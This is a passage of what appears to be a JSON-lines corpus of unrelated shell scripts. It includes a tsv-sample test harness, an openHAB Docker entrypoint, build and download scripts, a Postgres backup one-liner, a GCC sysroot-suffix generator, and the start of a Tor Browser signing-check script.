-k 1,3 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s -p .25 -k 3,1 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s -p 1 -k 3,1 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .2 -k 3 --print-random input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .2 -k 3 --print-random -n 5 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -s -p .2 -k 3 --gen-random-inorder -n 10 input4x50.tsv input4x15.tsv\" ${basic_tests_1}\n\nruntest ${prog} \"--static-seed input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s --print-random input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s --print-random --weight-field 1 input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s --print-random -w 1 --num 15 input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s --print-random -n 5 input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s -n 100 input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\n\nruntest ${prog} \"-s --prob 1 --print-random input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s -p .25 input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\nruntest ${prog} \"-s -p .75 -n 5 input2x10_noheader.tsv input2x5_noheader.tsv\" ${basic_tests_1}\n\nruntest ${prog} \"--delimiter @ -H --static-seed input2x7_atsign.tsv\" ${basic_tests_1}\nruntest ${prog} \"-d @ -H -s --print-random input2x7_atsign.tsv\" ${basic_tests_1}\nruntest ${prog} \"-d @ -H -s --print-random -w 2 input2x7_atsign.tsv\" ${basic_tests_1}\nruntest ${prog} \"-d @ -H -s --print-random -w 2 -n 3 input2x7_atsign.tsv\" ${basic_tests_1}\nruntest ${prog} \"-d @ -H -s --print-random -n 20 input2x7_atsign.tsv\" ${basic_tests_1}\nruntest ${prog} \"-d @ -H -s --print-random --prob 1.0 input2x7_atsign.tsv\" ${basic_tests_1}\n\n## Tests with a negative weight. Negative weight entry should be last.\nruntest ${prog} \"-H -w 3 -v 777 input3x25_negative_wt.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -w 3 -v 888 input3x25_negative_wt.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -w 3 -v 777 -n 24 input3x25_negative_wt.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H -w 3 -v 888 -n 24 input3x25_negative_wt.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H --gen-random-inorder -w 3 -v 777 input3x25_negative_wt.tsv\" ${basic_tests_1}\nruntest ${prog} \"-H --gen-random-inorder -w 3 -v 888 input3x25_negative_wt.tsv\" ${basic_tests_1}\n\n## Line order randomization with standard input and multiple files. These deserve specific tests\n## due to special handling of these in the code. runtest cannot do these, so write out by hand.\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -v 99]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -v 99 >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -v 99]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -v 99 >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -v 99 --print-random]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -v 99 --print-random >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -s -- - input3x3.tsv input3x4.tsv]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -s -- - input3x3.tsv input3x4.tsv >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -s -- input3x3.tsv - input3x4.tsv]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -s -- input3x3.tsv - input3x4.tsv >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -s -- input3x3.tsv input3x4.tsv -]====\" >> ${basic_tests_1}\ncat input3x3.tsv | ${prog} -s -- input3x4.tsv - >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -s -w 3 -- input3x3.tsv - input3x4.tsv]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -s -w 3 -- input3x3.tsv - input3x4.tsv >> ${basic_tests_1} 2>&1\n\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -s --replace --num 10]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -s --replace --num 10 >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -s --replace --num 10 -- input3x3.tsv - input3x4.tsv]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -s --replace --num 10 -- input3x3.tsv - input3x4.tsv >> ${basic_tests_1} 2>&1\n\n## Random sample with infinite output - control with head.\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H -s --replace | head -n 1000 | tail]====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H -s --replace | head -n 1000 | tail >> ${basic_tests_1} 2>&1\n\n## Need to run a few tests with the unpredictable seed. Can't compare the results\n## so check the number of lines returned. Some standard input tests are also in\n## this section. runtest can't do these, write these out by hand.\n## Note: The \"tr -d ' '\" construct strips whitespace, which differs between 'wc -l' implementations.\necho \"\" >> ${basic_tests_1}; echo \"====[tsv-sample -H input3x10.tsv | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\n${prog} -H input3x10.tsv | wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[tsv-sample -H -n 9 input3x25.tsv | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\n${prog} -H -n 9 input3x25.tsv | wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[tsv-sample -H -n 25 input3x25.tsv input3x10.tsv | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\n${prog} -H -n 25 input3x25.tsv input3x10.tsv| wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[tsv-sample -H -n 9 -w 3 input3x25.tsv | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\n${prog} -H -n 9 -w 3 input3x25.tsv | wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H --print-random | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H --print-random | wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H --print-random -w 3 -- - input3x25.tsv | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H --print-random -w 3 -- - input3x25.tsv | wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\necho \"\" >> ${basic_tests_1}; echo \"====[cat input3x10.tsv tsv-sample -H --print-random -w 3 -n 10 -- - input3x25.tsv | wc -l | tr -d ' ']====\" >> ${basic_tests_1}\ncat input3x10.tsv | ${prog} -H --print-random -w 3 -n 10 -- - input3x25.tsv | wc -l | tr -d ' ' >> ${basic_tests_1} 2>&1\n\n## Help and Version printing\n\necho \"\" >> ${basic_tests_1}\necho \"Help and Version printing 1\" >> ${basic_tests_1}\necho \"-----------------\" >> ${basic_tests_1}\necho \"\" >> ${basic_tests_1}\n\necho \"====[tsv-sample --help | grep -c Synopsis]====\" >> ${basic_tests_1}\n${prog} --help 2>&1 | grep -c Synopsis >> ${basic_tests_1} 2>&1\n\necho \"====[tsv-sample --help-verbose | grep -c Synopsis]====\" >> ${basic_tests_1}\n${prog} --help-verbose 2>&1 | grep -c Synopsis >> ${basic_tests_1} 2>&1\n\necho \"====[tsv-sample --version | grep -c 'tsv-sample (eBay/tsv-utils)']====\" >> ${basic_tests_1}\n${prog} --version 2>&1 | grep -c 'tsv-sample (eBay/tsv-utils)' >> ${basic_tests_1} 2>&1\n\necho \"====[tsv-sample -V | grep -c 'tsv-sample (eBay/tsv-utils)']====\" >> ${basic_tests_1}\n${prog} -V 2>&1 | grep -c 'tsv-sample (eBay/tsv-utils)' >> ${basic_tests_1} 2>&1\n\n## Error cases\n\nerror_tests=${odir}/error_tests_1.txt\n\necho \"Error test set 1\" > ${error_tests}\necho \"----------------\" >> ${error_tests}\n\nruntest ${prog} \"no_such_file.tsv\" ${error_tests}\nruntest ${prog} \"--no-such-param input3x25.tsv\" ${error_tests}\nruntest ${prog} \"-d ß input3x25.tsv\" ${error_tests}\nruntest ${prog} \"-H -w 11 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"-H -w 3 input3x25_dos.tsv\" ${error_tests}\nruntest ${prog} \"-w 1 input2x5_noheader_dos.tsv\" ${error_tests}\nruntest ${prog} \"--prob 0.5 --weight-field 3 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--prob 0 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--prob 1.00001 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"-p .1 -k 0 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-p .1 -k -1 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-p 0 -k 1 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-p -0.5 -k 1 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-p 0.5 -v -10 -k 1 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-k 1 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-p 0.5 -k 5 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-H -p 0.5 -k 5 input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-H -p 0.5 --gen-random-inorder input4x50.tsv input4x15.tsv\" ${error_tests}\nruntest ${prog} \"-H --gen-random-inorder -d , --random-value-header abc,def input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--replace -n 5 --weight-field 2 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--replace -n 5 --prob 0.5 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--replace -n 5 --key-fields 2 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--replace -n 5 --print-random input3x25.tsv\" ${error_tests}\nruntest ${prog} \"--replace -n 5 --gen-random-inorder input3x25.tsv\" ${error_tests}\n\n# Error tests 2 are tests that are compiler version dependent. There are multiple\n# version files in test-config.json.\n\nerror_tests=${odir}/error_tests_2.txt\n\necho \"Error test set 2\" > ${error_tests}\necho \"----------------\" >> ${error_tests}\n\nruntest ${prog} \"-H -w 2 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"-w 3 input3x25.tsv\" ${error_tests}\nruntest ${prog} \"-p -v 10 -k 1 input4x50.tsv input4x15.tsv\" ${error_tests}"} {"text": "#!/bin/bash\n\nnpm run build\nrm -rf webfundamentals\nmkdir -p webfundamentals/src/content/en/fundamentals/web-components/examples\nfind docs -type d -name 'howto-*' | while read line; do cp -r $line/*.md webfundamentals/src/content/en/fundamentals/web-components/examples/; done\ncp docs/styles/main.devsite.css webfundamentals/src/content/en/fundamentals/web-components/examples/main.css\ncp -r docs/images webfundamentals/src/content/en/fundamentals/web-components/examples/"} {"text": "entrypoint.sh\n#!/bin/bash -x\n\n# Karaf needs a pseudo-TTY so exit and instruct user to allocate one when necessary\ntest -t 0\nif [ $? -eq 1 ]; then\n echo \"Please start the openHAB container with a pseudo-TTY using the -t option or 'tty: true' with docker compose\"\n exit 1\nfi\n\nset -euo pipefail\nIFS=$'\\n\\t'\n\n# Install Java unlimited strength cryptography\nif [ \"${CRYPTO_POLICY}\" = \"unlimited\" ] && [ ! -f \"${JAVA_HOME}/jre/lib/security/README.txt\" ]; then\n echo \"Installing Zulu Cryptography Extension Kit (\\\"CEK\\\")...\"\n wget -q -O /tmp/ZuluJCEPolicies.zip https://cdn.azul.com/zcek/bin/ZuluJCEPolicies.zip\n unzip -jo -d ${JAVA_HOME}/jre/lib/security /tmp/ZuluJCEPolicies.zip\n rm /tmp/ZuluJCEPolicies.zip\nfi\n\n# Deleting instance.properties to avoid karaf PID conflict on restart\n# See: https://github.com/openhab/openhab-docker/issues/99\nrm -f /openhab/runtime/instances/instance.properties\n\n# The instance.properties file in OH2.x is installed in the tmp\n# directory\nrm -f /openhab/userdata/tmp/instances/instance.properties\n\n# Add openhab user & handle possible device groups for different host systems\n# Container base image puts dialout on group id 20, uucp on id 10\n# GPIO Group for RPI access\nNEW_USER_ID=${USER_ID:-9001}\nNEW_GROUP_ID=${GROUP_ID:-$NEW_USER_ID}\necho \"Starting with openhab user id: $NEW_USER_ID and group id: $NEW_GROUP_ID\"\nif ! id -u openhab >/dev/null 2>&1; then\n echo \"Create group openhab with id ${NEW_GROUP_ID}\"\n groupadd -g $NEW_GROUP_ID openhab\n echo \"Create user openhab with id ${NEW_USER_ID}\"\n adduser -u $NEW_USER_ID --disabled-password --gecos '' --home ${APPDIR} --gid $NEW_GROUP_ID openhab\n groupadd -g 14 uucp2\n groupadd -g 16 dialout2\n groupadd -g 18 dialout3\n groupadd -g 32 uucp3\n groupadd -g 997 gpio\n adduser openhab dialout\n adduser openhab uucp\n adduser openhab uucp2\n adduser openhab dialout2\n adduser openhab dialout3\n adduser openhab uucp3\n adduser openhab gpio\nfi\n\n# Copy initial files to host volume\ncase ${OPENHAB_VERSION} in\n 1.8.3)\n if [ -z \"$(ls -A \"${APPDIR}/configurations\")\" ]; then\n # Copy userdata dir for version 1.8.3\n echo \"No configuration found... initializing.\"\n cp -av \"${APPDIR}/configurations.dist/.\" \"${APPDIR}/configurations/\"\n fi\n ;;\n 2.0.0|2.1.0|2.2.0|2.3.0-snapshot)\n # Initialize empty host volumes\n if [ -z \"$(ls -A \"${APPDIR}/userdata\")\" ]; then\n # Copy userdata dir for version 2.0.0\n echo \"No userdata found... initializing.\"\n cp -av \"${APPDIR}/userdata.dist/.\" \"${APPDIR}/userdata/\"\n fi\n\n # Upgrade userdata if versions do not match\n if [ ! -z $(cmp \"${APPDIR}/userdata/etc/version.properties\" \"${APPDIR}/userdata.dist/etc/version.properties\") ]; then\n echo \"Image and userdata versions differ! Starting an upgrade.\"\n\n # Make a backup of userdata\n backupFile=userdata-$(date +\"%FT%H:%M:%S\").tar\n if [ ! -d \"${APPDIR}/userdata/backup\" ]; then\n mkdir \"${APPDIR}/userdata/backup\"\n fi\n tar --exclude=\"${APPDIR}/userdata/backup\" -c -f \"${APPDIR}/userdata/backup/${backupFile}\" \"${APPDIR}/userdata\"\n echo \"You can find backup of userdata in ${APPDIR}/userdata/backup/${backupFile}\"\n\n # Copy over the updated files\n cp \"${APPDIR}/userdata.dist/etc/all.policy\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/branding.properties\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/branding-ssh.properties\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/config.properties\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/custom.properties\" \"${APPDIR}/userdata/etc/\"\n if [ -f \"${APPDIR}/userdata.dist/etc/custom.system.properties\" ]; then\n cp \"${APPDIR}/userdata.dist/etc/custom.system.properties\" \"${APPDIR}/userdata/etc/\"\n fi\n cp \"${APPDIR}/userdata.dist/etc/distribution.info\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/jre.properties\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/org.apache.karaf\"* \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/org.ops4j.pax.url.mvn.cfg\" \"${APPDIR}/userdata/etc/\"\n if [ -f \"${APPDIR}/userdata.dist/etc/overrides.properties\" ]; then\n cp \"${APPDIR}/userdata.dist/etc/overrides.properties\" \"${APPDIR}/userdata/etc/\"\n fi\n cp \"${APPDIR}/userdata.dist/etc/profile.cfg\" \"${APPDIR}/userdata/etc/\"\n cp \"${APPDIR}/userdata.dist/etc/startup.properties\" \"${APPDIR}/userdata/etc\"\n cp \"${APPDIR}/userdata.dist/etc/system.properties\" \"${APPDIR}/userdata/etc\"\n cp \"${APPDIR}/userdata.dist/etc/version.properties\" \"${APPDIR}/userdata/etc/\"\n echo \"Replaced files in userdata/etc with newer versions\"\n\n # Clear the cache and tmp\n rm -rf \"${APPDIR}/userdata/cache\"\n rm -rf \"${APPDIR}/userdata/tmp\"\n mkdir \"${APPDIR}/userdata/cache\"\n mkdir \"${APPDIR}/userdata/tmp\"\n echo \"Cleared the cache and tmp\"\n fi\n\n if [ -z \"$(ls -A \"${APPDIR}/conf\")\" ]; then\n # Copy userdata dir for version 2.0.0\n echo \"No configuration found... initializing.\"\n cp -av \"${APPDIR}/conf.dist/.\" \"${APPDIR}/conf/\"\n fi\n ;;\n *)\n echo openHAB version ${OPENHAB_VERSION} not supported!\n ;;\nesac\n\n# Set openhab folder permission\nchown -R openhab:openhab ${APPDIR}\n\nexec \"$@\""} {"text": "#!/bin/bash\nfor championship in \"England\" \"European_Championship\" \"France\" \"Germany\" \"Italy\" \"Spain\" \"World_Cup\"\ndo\n printf \"===========================================================\\n\"\n printf \"Getting ids for championship $championship \\n\"\n printf \"===========================================================\\n\"\n clj src/main/io/spit_match_ids.clj --championship=$championship\n printf \"Done!\\n\"\ndone"} {"text": "1-10\n#!/bin/bash\n\nVERSIONINFO=\"20171227.5\"\n\nfunction showUsage()\n{\n echo \"USAGE: $0 SOURCEFILE OUTPUTPATH\"\n exit 1\n}\n\nif [ -z \"$1\" ]; then\n echo \"MISSING required param 1!\"\n showUsage\n exit 2\nfi\n\nSOURCEFILE=$1\n\nif [ ! -z \"$2\" ]; then\n OUTPUTPATH=$2\nelse\n SOURCEBASENAME=$(basename $SOURCEFILE)\n OUTPUTPATH=\"/tmp/uncompressed/${SOURCEBASENAME}-contents\"\nfi\nif [ ! -d \"$OUTPUTPATH\" ]; then\n echo \"Creating $OUTPUTPATH\"\n mkdir -p $OUTPUTPATH\nfi\n\necho \"SOURCE FILE: $SOURCEFILE\"\necho \"OUTPUT PATH: $OUTPUTPATH\"\n\nCOMPRESSION_TYPE=\"UNKNOWN\"\nZIPCHECK=$(echo \"$SOURCEFILE\" | grep \".zip\")\nif [ ! -z \"$ZIPCHECK\" ]; then\n COMPRESSION_TYPE=\"ZIP\"\nelse\n TARGZCHECK=$(echo \"$SOURCEFILE\" | grep \".tar.gz\")\n if [ ! -z \"$TARGZCHECK\" ]; then\n COMPRESSION_TYPE=\"TAR.GZ\"\n else\n GZCHECK=$(echo \"$SOURCEFILE\" | grep \".gz\")\n if [ ! -z \"$GZCHECK\" ]; then\n COMPRESSION_TYPE=\"GZ\"\n fi\n fi\nfi\necho \"SOURCE FILE compression is $COMPRESSION_TYPE\"\n\nCMD=\"NO OPERATION\"\ncase \"$COMPRESSION_TYPE\" in\n \"ZIP\" )\n CMD=\"sudo unzip $SOURCEFILE -d $OUTPUTPATH\"\n ;;\n \"TAR.GZ\" )\n CMD=\"sudo tar -xvzf $SOURCEFILE -C $OUTPUTPATH\"\n ;;\n \"GZ\" )\n CMD=\"sudo gzip -dkvf $SOURCEFILE\"\n ;;\n \"*\" )\n echo \"ERROR: Unrecognized compression for $SOURCEFILE\"\n exit 2\n ;;\nesac\necho \"$CMD\"\n($CMD)\nif [ $? -ne 0 ]; then\n echo \"!!!!!!!!!!!!!!!!!!!!!\"\n echo \"DECOMPRESSION FAILED!\"\n echo \"!!!!!!!!!!!!!!!!!!!!!\"\n exit 2\nfi\necho \"Finished uncompressing into $OUTPUTPATH\""} {"text": "0\n#!/usr/bin/env bash\n\necho \"its working\"\nvar1=$1\necho $var1\n#assetfinder -subs-only $1 | tee -a /var/www/html/allsubs.txt"} {"text": "#!/bin/bash\n\nOUTPUT_DIR=\"$(pwd)/dist\"\n\nmkdir -p $OUTPUT_DIR && \\\n cd web-app && \\\n echo \"Installing web app dependencies, this might take a few minutes...\" && \\\n npm install && \\\n echo \"Building web app...\" && \\\n npm run build && \\\n cp -R dist \"$OUTPUT_DIR/static\"\n exit 0"} {"text": "mihai011/Docker-Django-Posgres-Celery-Rabbitmq\n\n# simple backup full\nsshpass -p$POSTGRES_PASSWORD pg_dump -h db -p 5432 -U postgres -F c -b -v -f backup app"} {"text": "# Download input files. Execute from the `download` directory.\nfor url in \\\n 'https://www.elsevier.com/__data/assets/excel_doc/0015/91122/Scopus_Source_List.xlsx' \\\n 'https://journalmetrics.scopus.com/downloads/metrics/CiteScore_Metrics_2011-2016_Download_21Jun2017.xlsx' \\\n 'https://raw.githubusercontent.com/dhimmel/delays/756ffebf309499a500ec1f83d68803c044ec8729/data/pubmed-journals.tsv';\ndo\n wget --timestamping --no-verbose $url\ndone"} {"text": "shell/fix.sh\n#!/bin/sh -l\n\nIS_DIRTY_CODE=1\n\ncodestyle fix --ansi\n\n{ git add . && git commit -a -m \"Update code-style 💻\"; } || IS_DIRTY_CODE=0"} {"text": "#mkdir data\n#mkdir data/taobao_data/\n#unzip UserBehavior.csv.zip\n#mv UserBehavior.csv ./data/taobao_data/\npython preprocess/taobao_prepare.py\n#mkdir dnn_save_path\n#mkdir dnn_best_model"} {"text": "sreimers/action-archlinux-mingw\n#!/bin/bash\nset -e\n\nsource /etc/profile\n\nif [ \"$1\" = 'build' ]; then\n eval $BUILD_CMD\nelse\n exec \"$@\"\nfi"} {"text": "#!/bin/bash\necho \"Checking for Node.js installation...\"\nwhich node\nif [ $? -eq 1 ]; \nthen\n\techo \"Couldn't find a Node.js installation!\"\n\techo \"Please follow the instruction in Readme.md\"\nelse\n\techo \"Node.js installation found!\"\n\techo \"Checking for YUIDoc installation...\"\n\twhich yuidoc\n\tif [ $? -eq 1 ];\n\tthen\n\t\techo \"Couldn't find a YUIDoc installation!\"\n\t\techo \"Please follow the instruction in Readme.md\"\n\telse\n\t\techo \"YUIDoc installation found!\"\n\t\tCURRENT=$PWD\n\t\techo \"Current :${CURRENT}\"\n\t\tcd ../..\n\t\tyuidoc --themedir $CURRENT/template -o $CURRENT/docs app\n\t\techo \"Created the documentation on the current directory!\"\n\tfi\nfi"} {"text": "#! /bin/sh\n# Script to generate SYSROOT_SUFFIX_SPEC equivalent to MULTILIB_OSDIRNAMES\n# Arguments are MULTILIB_OSDIRNAMES, MULTILIB_OPTIONS and MULTILIB_MATCHES.\n\n# Copyright (C) 2009 Free Software Foundation, Inc.\n\n# This file is part of GCC.\n\n# GCC is free software; you can redistribute it and/or modify it under\n# the terms of the GNU General Public License as published by the Free\n# Software Foundation; either version 3, or (at your option) any later\n# version.\n\n# GCC is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n# for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with GCC; see the file COPYING3. If not see\n# . \n\n# This shell script produces a header file fragment that defines\n# SYSROOT_SUFFIX_SPEC. It assumes that the sysroots will have the same\n# structure and names used by the multilibs.\n\n# Invocation:\n# print-sysroot-suffix.sh \\\n# MULTILIB_OSDIRNAMES \\\n# MULTILIB_OPTIONS \\\n# MULTILIB_MATCHES \\\n# > t-sysroot-suffix.h\n\n# The three options exactly correspond to the variables of the same\n# names defined in the tmake_file fragments.\n\n# Example:\n# sh ./gcc/config/print-sysroot-suffix.sh \"a=A\" \"a b/c/d\" \"\"\n# =>\n# #undef SYSROOT_SUFFIX_SPEC\n# #define SYSROOT_SUFFIX_SPEC \"\" \\\n# \"%{a:\" \\\n# \"%{b:A/b/;\" \\\n# \"c:A/c/;\" \\\n# \"d:A/d/;\" \\\n# \":A/};\" \\\n# \":}\"\n\n# The script uses temporary subscripts in order to permit a recursive\n# algorithm without the use of functions.\n\nset -e\n\ndirnames=\"$1\"\noptions=\"$2\"\nmatches=\"$3\"\n\ncat > print-sysroot-suffix3.sh <<\\EOF\n#! /bin/sh\n# Print all the multilib matches for this option\nresult=\"$1\"\nEOF\nfor x in $matches; do\n l=`echo $x | sed -e 's/=.*$//' -e 's/?/=/g'`\n r=`echo $x | sed -e 's/^.*=//' -e 's/?/=/g'`\n echo \"[ \\\"\\$1\\\" = \\\"$l\\\" ] && result=\\\"\\$result|$r\\\"\" >> print-sysroot-suffix3.sh\ndone\necho 'echo $result' >> print-sysroot-suffix3.sh\nchmod +x print-sysroot-suffix3.sh\n\ncat > print-sysroot-suffix2.sh <<\\EOF\n#! /bin/sh\n# Recursive script to enumerate all multilib combinations, match against\n# multilib directories and output a spec string of the result.\n# Will fold identical trees.\n\npadding=\"$1\"\noptstring=\"$2\"\nshift 2\nn=\"\\\" \\\\\n$padding\\\"\"\nif [ $# = 0 ]; then\nEOF\n\npat=\nfor x in $dirnames; do\n p=`echo $x | sed -e 's,=!,/$=/,'`\n pat=\"$pat -e 's=^//$p='\"\ndone\necho ' optstring=`echo \"/$optstring\" | sed '\"$pat\\`\" >> print-sysroot-suffix2.sh\ncat >> print-sysroot-suffix2.sh <<\\EOF\n case $optstring in\n //*)\n ;;\n *)\n echo \"$optstring\"\n ;;\n esac\nelse\n thisopt=\"$1\"\n shift\n bit=\n lastcond=\n result=\n for x in `echo \"$thisopt\" | sed -e 's,/, ,g'`; do\n case $x in\nEOF\nfor x in `echo \"$options\" | sed -e 's,/, ,g'`; do\n match=`./print-sysroot-suffix3.sh \"$x\"`\n echo \"$x) optmatch=\\\"$match\\\" ;;\" >> print-sysroot-suffix2.sh\ndone\ncat >> print-sysroot-suffix2.sh <<\\EOF\n esac\n bit=`\"$0\" \"$padding \" \"$optstring$x/\" \"$@\"`\n if [ -z \"$lastopt\" ]; then\n lastopt=\"$optmatch\"\n else\n if [ \"$lastbit\" = \"$bit\" ]; then\n\tlastopt=\"$lastopt|$optmatch\"\n else\n\tresult=\"$result$lastopt:$lastbit;$n\"\n\tlastopt=\"$optmatch\"\n fi\n fi\n lastbit=\"$bit\"\n done\n bit=`\"$0\" \"$padding \" \"$optstring\" \"$@\"`\n if [ \"$bit\" = \"$lastbit\" ]; then\n if [ -z \"$result\" ]; then\n echo \"$bit\"\n else\n echo \"$n%{$result:$bit}\"\n fi\n else\n echo \"$n%{$result$lastopt:$lastbit;$n:$bit}\"\n fi\nfi\nEOF\n\nchmod +x ./print-sysroot-suffix2.sh\nresult=`./print-sysroot-suffix2.sh \"\" \"/\" $options`\necho \"#undef SYSROOT_SUFFIX_SPEC\"\necho \"#define SYSROOT_SUFFIX_SPEC \\\"$result\\\"\"\nrm print-sysroot-suffix2.sh\nrm print-sysroot-suffix3.sh"} {"text": "fronzbot/qucs-centos-install\nexport PATH=/usr/local/texlive/2019/bin/x86_64-linux:$PATH"} {"text": "10-100\nlstrip() {\n\t# Usage: lstrip \"string\" \"pattern\"\n\tprintf '%s\\n' \"${1##$2}\"\n}"} {"text": "scriptzteam/Tor-Browser-Build0\n#!/bin/sh\n\n# Copyright (c) 2020, The Tor Project, Inc.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n#\n# * Neither the names of the copyright owners nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n# Usage:\n# 1) Let SIGNMAR point to your signmar binary\n# 2) Let LD_LIBRARY_PATH point to the mar-tools directory\n# 3) Let NSS_DB_DIR point to the directory containing the database with the\n# signing certificate to check against.\n#\n# To create the database to use for signature 